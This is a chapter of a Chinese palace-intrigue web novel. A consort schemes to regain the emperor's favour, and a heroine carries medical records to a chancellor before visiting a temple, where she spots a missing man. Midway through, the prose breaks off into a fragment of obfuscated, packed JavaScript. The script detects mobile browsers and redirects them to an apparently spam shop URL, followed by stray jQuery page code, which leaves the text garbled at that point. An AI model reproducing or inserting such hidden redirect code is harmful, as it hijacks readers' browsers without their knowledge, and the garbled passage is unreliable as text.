关雎宫。
“娘娘,有消息了。”青萍急匆匆地跑了进来。
“快,拿给本宫看看。”刘贵妃接过家书迅速览毕,抬眼却是怅惘之色,她不禁苦笑一声:“想不到还真有这么一人,陛下瞒的我好苦,这么多年我竟然毫无察觉。”
望见刘贵妃郁郁之色,青萍忍不住提醒道:“娘娘,过去之事就已经是过去,娘娘可要好好把握明天。”
“你说的对,本宫可不想在陛下死后去庙里长伴青灯古佛,既然已经有了筹码,就该好好谋划了。”
桌上灯火摇曳,她柔荑微抬,纸张在猛然高涨的火舌下化为灰烬。
偌大的宫殿中,皇帝精神萎靡地靠在椅上,他望了望窗外,从嘴里吐出一口浑浊之气,对身旁的胡望来说道:“陪朕出去走走吧。”
胡望来伴皇帝走过一座座宫殿,走过长长的甬道。
“你在朕身边多久了?”皇帝突然开口问道。
“陛下,已经有二十年了。”
“竟然也有二十年了。你可还记得最开始见到朕的模样?”
“帝王之貌雄姿英发,威风凛凛,奴才深感震撼,为帝王之尊所折服。”
“是么?晨时看见镜中的自己,与那寻常老人一般无二。”
“陛下您乃九五之尊,有龙气护身怎会垂老?只要按时服用那些仙丹,一定能长命百岁,飞升成仙。”
“可是朕怎么觉得,那仙丹让朕越来越不清醒了?”
“陛下请放心,那只是暂时的,等陛下适应那药效之后就不会有如此感觉了。”
两人登上了高楼,皇帝向远处眺望道:“朕这些年是不是做了很多糊涂之事?”
“奴才惶恐,不敢乱议,只知皇帝圣明才有这朗朗盛世。”
皇帝沉默,在他清明的眼神又将变得模糊之时,远处传来若有若无的琴音。
“这是!?”他突然瞪大了眼睛疾步向楼下冲去。
“陛下,您慢些!!”胡望来紧追其后。
琴音逐渐清晰,是多年没有再听过的曲子,纵使身体不堪负荷,皇帝喘着粗气也在坚持着向琴音奔去。
声音的来源之处正是关雎宫。
“娘娘!娘娘!皇上来了!”青萍小跑着进了关雎宫正殿,脸上难掩激动与兴奋。
“快收收你脸上的表情,别露馅了。”刘贵妃双手忙着抚琴之时,还不忘提醒道,“你去看下茶水备好没有。”
“是。”
不多时皇帝的身影已经出现在了关雎宫之中。
待他看清抚琴之人时,眼中难掩失望之色,但他还是慢慢走了过去。
伫立在刘贵妃身侧的青萍眼见皇帝来了正想开口提醒,却被皇帝眼神阻止了下来。
一曲抚毕,刘贵妃睁开了陶醉的眼神,起身惊慌道:“不知皇上驾到,臣妾有失远迎,还望皇上恕罪。”
“爱妃不必自责,是朕让宫女不要惊扰到你的。”
胡望来扶着皇帝坐下,将青萍奉上的茶水端给他,皇帝豪饮一口才将嗓子的干燥压了下去。
“爱妃怎会这首追云踏月曲?”
“臣妾偶然间得来此曲谱,觉得甚是精彩,遂认真学练。”刘贵妃缓缓抬头,用一双含情眼深深望向皇帝,“想不到陛下也喜欢这首曲子。”
“朕年轻时候甚是喜爱,也是多年未听到了。”
“不如臣妾再为陛下抚一曲?”
“好。”
云珩今日在政事堂议事稍微晚了些。
当小太监领着他往宫门走时,他听见了琴音,驻足凝望远方。
“这琴音从何而来?”云珩向小太监问道。
“应是后宫方向,”小太监仔细辨了辨,“那边应是刘贵妃的关雎宫。”
云珩不语。
“云丞相?”小太监唤道。
云珩这才挪动了步伐继续往宫门走着。
灯笼摇曳,忽明忽暗之间一人影挡在了前方。
云珩眼中倒映着的光亮微闪了一下。
领路的小太监识趣地走到了十步开外。
“云相。”
贺晴上前一步。
待云珩出了宫门身上已经多了一摞纸,正是贺晴交给他的问诊记录。
想不到她已经查到这里了。
云珩站在宫门之外,眼前是无边际的黑暗。
“东西送给云丞相了?”李诗吟问道。
“嗯。”贺晴进殿坐下。
“不就送个东西而已,怎么你的表情竟如此开心?”
“哪有?”贺晴摸了摸脸蛋。
“你不如去照照镜子。”
“公主看错了。”
李诗吟狐疑道:“你该不会...?”
“对了,我上次做的点心可还行?”
“我吃着还行,要是再甜点就好了。”
“那下次我多加点糖?”
“好呀。”
次日早晨,李诗吟说她已经太久没有去给皇后请安了,遂盛装打扮去了皇后宫中。
而贺晴则又去御膳房做了点心,顺便与小蝶说了说事情进展。
这次做点心贺晴多做了些,留给小蝶一份,另外两份一份送回了公主殿,一份她则送去了另外一个地方。
一来到文书阁她便看到尹惜芷在院前忙碌,今日阳光甚好,也无大风,院子里的地砖上铺满了书籍,那些白色的纸张在阳光的照耀下晃得人睁不开眼。
“贺姑娘,你怎么来了?”
“我来看看你,你在晒书吗?我来帮你。”
“不用不用,就剩我手里的这两本了,你稍等一下。”
尹惜芷收拾完后邀请贺晴进屋内坐坐。
“这是...?”
“我做的点心。”
贺晴将食盒内的点心放到了桌上。
“谢谢...”尹惜芷大为感动。
“不必客气。”贺晴望了一圈屋内的摆设,笑着说道,“你们读书人好像喜好都相同,满屋子的墨香味,到处都是书籍。”
尹惜芷掩嘴轻笑:“贺姑娘莫要笑话我。”
“我没有笑话你,反而很佩服你。”
“佩服?我都成了别人口中的怪人了。”尹惜芷眼眸暗了暗。
“怪?为何如此?”
“我从小就不喜欢与人打交道,反而更喜欢闷在屋里看书,别人女儿家喜欢做的事我都不想做。”
“我从小打架习武,爬树摸鸟蛋,做的都是女孩不可能做的事那我岂不更怪?”
尹惜芷噗嗤一笑,笑了好一阵才平复好气息:“谢谢贺姑娘的宽慰,其实对别人的评判我倒不甚在意,只要能看书我便什么都好,比如这次选太子妃,别人都以为我走不出来,而事实上我是十分欢喜的。”
“你不想当太子妃?”
“嗯,我本是胆小之人,第一次鼓起勇气是那次偷偷参加科举,”尹惜芷忽然一笑,“第二次鼓起勇气是想跟太子说让他以我德行不佳为由拒绝迎娶我,谁知还没开口,太子便主动跟我说委屈了我,倒也遂了我的愿。”
想不到她竟有如此打算。
贺晴嘴角上扬,不过有如此结果,对她来说也是一大幸事了。
李诗吟从皇后那里回来的时候,脸上表情并不轻松。
“怎么了?”贺晴问道。
“母后十分关心父皇的身体,最近失眠严重了,人变憔悴了许多。”
“可有请太医瞧瞧?”
“我把徐晋和抓去给母后问诊了,但是他说这是心病,光用药是无法根治的。”
“那你可要多去陪陪皇后娘娘。”
李诗吟脸上闪过一丝欣喜之色:“所以母后说,这段时间有刘母妃照顾父皇,她则带着我去法慈寺为父皇祈福,师父你可要陪我一同去。”
贺晴当然答应了她。
出发这天阳光甚好,出行队伍长且壮大。
队伍的前后两头是勇猛威武的士兵,中间则是被太监宫女包围着的两辆皇家马车。
队伍之中贺晴倒是看见了熟悉面孔,护卫将军乃毕躬行。
待整装完毕之后,皇后娘娘在宫女的搀扶下上了前面的马车,李诗吟与贺晴则上了后面一辆,随后这支队伍便浩浩荡荡的出了宫。
法慈寺是距离皇城最近的一座佛家寺庙,因为宇朝百姓大多数都是信奉佛教的,所以这里的香火十分旺盛。
树荫掩映之间,寺庙庄严肃穆,大概半上午的时间,皇家马车已经到了寺院门口。
一位老方丈站在门口迎接,他胡须发白,眼神沉静且睿智。
皇后与老方丈交谈了几句,便带着左右之人去了厢房,临走之前她还不忘记叮嘱李诗吟几句。
“师父,我们去转转吧。”李诗吟邀请道。
“好。”
两人晃晃悠悠地将寺庙转了个圈,便又回到了寺庙正殿。
正殿中央是一尊金身大佛,神圣且慈悲。
李诗吟虔诚跪拜,起身燃起三柱香,插在佛前的香炉之上。
“师父,你可有什么夙愿?”
“有。”
“这座寺庙很灵的,你可来跪拜。”
“不了。”
“为什么?”
“因为佛祖也帮不了我。”
李诗吟本想继续问下去,可是她却看见了师父脸上痛苦的表情。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092390|195486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
恰巧此时寺庙的钟声响起,她便换了个话头:“到了用斋饭的时候了,我们回去吧。”
俩人到了一座静谧幽远的院落,李诗吟解释道:“这是寺庙专门为皇家准备的休息之地,每次我随母后过来,都住这里。”
这时一个皇后身边的宫女望见她们进来,便上前说道:“公主,皇后娘娘让您过去一趟。”
进了正厢房,只见屋内除了皇后及宫女之外还有两位女子带着丫鬟坐在一旁。
她们两人见李诗吟进来纷纷起身行礼。
“叶夫人你抱病在身,就不必起来行礼了。”
这两位官宦女子正是御史中丞叶潇的夫人及女儿叶如臻。
一段时间不见,叶如臻长得愈发娇美,整个人更添恬静气质,她对李诗吟与贺晴微微而笑。
“谢皇后。”叶夫人又在丫鬟的搀扶下缓缓坐上了椅子。
“也难为你生病还来看我。”
“臣妾在这寺庙中养了这么久,已经好很多了。”
“你这身子还是要好好顾惜,往后就不必前来问安了。”皇后看了眼叶如臻后又对叶夫人说道,“叶小姐长得越来越标致了,她好像与诗吟年纪相仿?”
“是差不多,如臻好像要年长一岁。”
“那这段日子,可以让这几位姑娘相伴了。”
“是。”叶夫人含笑说道。
皇后娘娘慈爱地望向三个姑娘:“你们一起去用斋饭吧,我与叶夫人还有些话要说。”
“是。”
三位姑娘进了左厢房,只见桌上放着几盘精致的斋菜,清炒时蔬、烧豆腐、焖萝卜,以及蘑菇汤,简单又清淡。
李诗吟平时是吃山珍海味吃惯了的人,这些食物显然不合她的胃口,所以她只扒拉了几口就放下了碗筷。
“你这样穿着真好看,妆容也好看。”李诗吟眼睛一动不动地盯着坐在她对面的叶如臻。
她身着嫩绿色衣裙外面罩着粉色轻纱,脸上恰到好处的胭脂衬得她如同那湖中娇羞的荷花,双眸比那耳侧的珍珠耳坠还要明亮。
她本就长得容颜绝世,再加上服饰与妆容的搭配,仿佛若那天上下凡的仙女一般,美得不可方物。
“谢公主夸赞,我平日素爱钻研这些,打扮上自然有些心得。”
“是吗?那我可要跟你探讨探讨了。”
“我的厢房就在不远处,公主可同我一起去房间坐会。”
“如此甚好。”李诗吟又对还在胡吃海塞的贺晴说道,“师父,吃完我们一起去。”
“唔...我就不必了,”贺晴将口中的实物吞下,“你知道我对这些不感兴趣的,这里斋菜做得不错,我待会去请教一下,回头再去找你。”
“那好吧...你要早点过来哦。”
寺庙厨房炊烟袅袅,和尚们吃完斋饭都散去之后,贺晴也便溜到厨房与做饭的和尚闲谈。
她无意间的一瞥,心脏骤然收紧,不敢呼吸,生怕惊扰到了庭院之人。
贺晴悄声退至厨房一角,眼睛顺着窗户的缝隙紧紧盯着外面。
待那人走了之后,她才缓缓走了出来。
为什么不追上去?一是怕惊吓到他让他再次逃窜,二是看他的行动举止是熟悉这里的模样,那么就不怕失了他的踪迹线索。
那人正是失踪多时的杨旺根,想不到他竟然藏匿到了这里。
“师父,你们这里还有外人做事吗?”贺晴向厨房里的和尚问道。
“你是说刚才外面那人?”
“嗯,我瞧着他虽然身穿法衣,但头发尚未剃度。”
“嗯对,杨施主非我寺院之人,他在后山有一屋子,开垦了几片菜地种植蔬菜,时常挑菜往寺庙里送,主持给钱他也不要,他说这菜种多了他也吃不完,不如就当作香火供奉给寺庙。我们主持见他心诚,遂让他每日可来寺庙中用斋饭。”
“每日都来?”
“是的,杨施主每天用完斋饭后,还不忘帮我们打扫庭院,可真是个心善的施主呢。”和尚叹了一口气,“不过也是个苦命之人。”
“此话怎讲?”
“具体的我也不知,只见他找过我们主持几次,每次主持开化完他之后他下次还是带着同样的愁苦找主持,可见业障之深。”
贺晴望着屋外,若有所思。
片刻之后,贺晴来到了寺庙另一厢房之处,正巧叶如臻送李诗吟出来。
“师父!你来接我的吗?我正要去找你呢。”李诗吟欣喜道。
“嗯。我们回去吧。”
叶如臻含笑辞别。
两人手挽着手往回走。
“公主,我求你一事。”